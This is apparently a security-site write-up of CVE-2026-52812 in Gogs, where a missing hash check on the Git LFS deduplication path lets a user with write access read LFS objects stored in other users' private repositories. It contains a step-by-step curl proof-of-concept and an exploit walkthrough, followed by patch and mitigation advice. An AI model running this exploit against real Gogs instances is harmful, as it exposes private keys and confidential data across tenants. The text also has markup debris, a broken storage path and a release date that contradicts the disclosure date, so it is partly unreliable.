Listen to this Post
How CVE-2026-52812 Works
Gogs implements Git LFS storage using a content‑addressed layout: every object is stored on disk at <LFS‑root>/<oid
>/<oid[bash]>/<oid></code>, keyed solely by its SHA‑256 OID. Per‑repository access control, however, is maintained in the `lfs_object` database table with a composite primary key `(repo_id, oid)` – meaning the same physical OID file can be referenced by multiple repositories if multiple rows exist. The vulnerability lies in the `serveUpload` handler (<code>internal/route/lfs/basic.go:78‑114</code>). When a client PUTs an object to a repository’s LFS endpoint, Gogs first checks whether the OID file already exists on disk via `os.Stat(fpath)` in `LocalStorage.Upload` (<code>internal/lfsx/storage.go:79‑82</code>). If the file is present, the upload function takes a deduplication shortcut: it drains the request body with `io.Copy(io.Discard, rc)` and returns success without ever hashing the received payload. The hash verification logic – which computes the SHA‑256 of the stream and compares it to the claimed OID – resides only in the “new‑file” branch (<code>internal/lfsx/storage.go:106‑108</code>) and is completely bypassed when the file already exists. Because `serveUpload` unconditionally trusts this success return, it proceeds to call `CreateLFSObject` – an unconditional `INSERT` on `(repo_id, oid)` – without any check that the requesting repository’s Git history actually references that OID. The dedupe path effectively allows any user with write access to any repository to “claim” an OID that already exists on the instance, even if that OID belongs to a private repository they have no access to. Once the binding is created, `serveDownload` (<code>internal/route/lfs/basic.go:42‑72</code>) consults only the per‑repo row and streams the file from the shared content‑addressed storage. An attacker who knows a target OID (e.g., from a leaked LFS pointer file, a public ancestor commit, or a stale fork) can therefore bind it to their own repository and download the original bytes, fully bypassing repository isolation. The attack requires no special privileges beyond write access to any repository on the instance, and the impact is persistent – the binding remains until manually deleted, even if the attacker’s write permissions are later revoked. <h2 style="color: blue;">DailyCVE Form</h2> <h2 style="color: blue;">| Field | Value |</h2> <h2 style="color: blue;">|-|-|</h2> <h2 style="color: blue;">| Platform | Gogs |</h2> | Version | < 0.14.2 (0.12.0 – 0.14.1) | | Vulnerability | Cross‑tenant LFS object disclosure via missing hash verification on dedupe path | <h2 style="color: blue;">| Severity | High (CVSS 7.4) |</h2> <h2 style="color: blue;">| Date | 2026‑06‑19 |</h2> <h2 style="color: blue;">| Prediction | 2026‑02‑19 (v0.14.2) |</h2> <h2 style="color: blue;">What Undercode Say</h2> <h2 style="color: blue;">Analytics & Verification Commands</h2> [bash] Clone and checkout the vulnerable commit git clone https://github.com/gogs/gogs.git && cd gogs git checkout d7571322 Confirm the dedupe shortcut (lines 79-82) and missing hash check (only in new-file branch) sed -n '63,114p' internal/lfsx/storage.go Confirm serveUpload calls CreateLFSObject unconditionally sed -n '74,117p' internal/route/lfs/basic.go Verify composite primary key allows multiple repos to share an OID row grep -n 'primaryKey' internal/database/lfs.go
PoC Reproduction Script
Environment
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'
VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
1. Victim uploads the LFS object (creates on-disk file and (alice/secrets, OID) row)
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary @- \
"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"
2. Attacker (bob) confirms no existing claim
curl -sS $BOB_AUTH \
-H 'Accept: application/vnd.git-lfs+json' \
-H 'Content-Type: application/vnd.git-lfs+json' \
-X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
--data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
→ 404 Object does not exist
3. Attacker uploads garbage; dedupe shortcut skips hash check, inserts (bob, OID)
curl -sS $BOB_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary 'irrelevant attacker-controlled bytes' \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
→ HTTP/1.1 200 OK
4. Attacker downloads the original victim content via their own repo
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
→ victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
→ matches $OID
Exploit
1. Prerequisites
- Gogs instance ≥ 0.12.0 with
[bash] ENABLED = true. - Attacker has write access to at least one repository (e.g.,
bob/scratch). - Attacker knows the SHA‑256 OID of a target LFS object stored in a private repository (e.g., from a leaked pointer file, public commit, or side channel).
2. Claim the OID
- Send a PUT request to the attacker’s own LFS endpoint with the target OID, but with arbitrary (or empty) content.
- Because the file already exists on disk, the dedupe path returns success without hashing the body.
- `CreateLFSObject` inserts a new row `(attacker_repo_id, target_oid)` – the attacker now has a valid reference.
3. Exfiltrate
- Send a GET (or batch download) request to the attacker’s repository LFS endpoint for the same OID.
- `serveDownload` checks only the per‑repo row, finds the binding, and streams the original file from the shared storage. - The victim’s private content is fully disclosed.
4. Persistence
- The binding remains until manually deleted from the `lfs_object` table; revoking the attacker’s write access does not remove existing rows.
Protection
- Immediate Fix
Upgrade to Gogs v0.14.2 or later, which includes the patch for CVE‑2026‑52812. - Code‑level Mitigation (if patching manually)
- In
LocalStorage.Upload, whenos.Stat(fpath) == nil, use `io.TeeReader` to hash the request body and return `ErrOIDMismatch` if it does not match the claimed OID – the same verification already performed in the new‑file branch. - Optionally, add a second layer in `serveUpload` that refuses `CreateLFSObject` unless the OID is actually referenced by an LFS pointer in the requesting repository’s Git history.
- Operational Workaround
- Disable LFS entirely if not required (
[bash] ENABLED = false). - Regularly audit the `lfs_object` table for unexpected cross‑repository bindings.
- Restrict repository write permissions to only trusted users.
Impact
- Cross‑tenant data leakage – any LFS object stored on the instance, regardless of repository privacy, can be exfiltrated by any user with write access to any repository.
- Common LFS use cases – certificates, private keys, firmware blobs, ML model weights, datasets containing PII, and packaged installers are all vulnerable to byte‑for‑byte extraction.
- Persistent access – the malicious `(repo_id, oid)` row pins read access until manually removed; removing the attacker’s repository write permissions does not revoke previously created bindings.
- Low attack complexity – the attacker only needs knowledge of a target OID (often obtainable from public sources) and write access to any repository; no brute force is required.
- No victim‑side artefact – the attack leaves no trace in the victim’s repository or logs beyond a normal 200 OK entry in the LFS access log.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

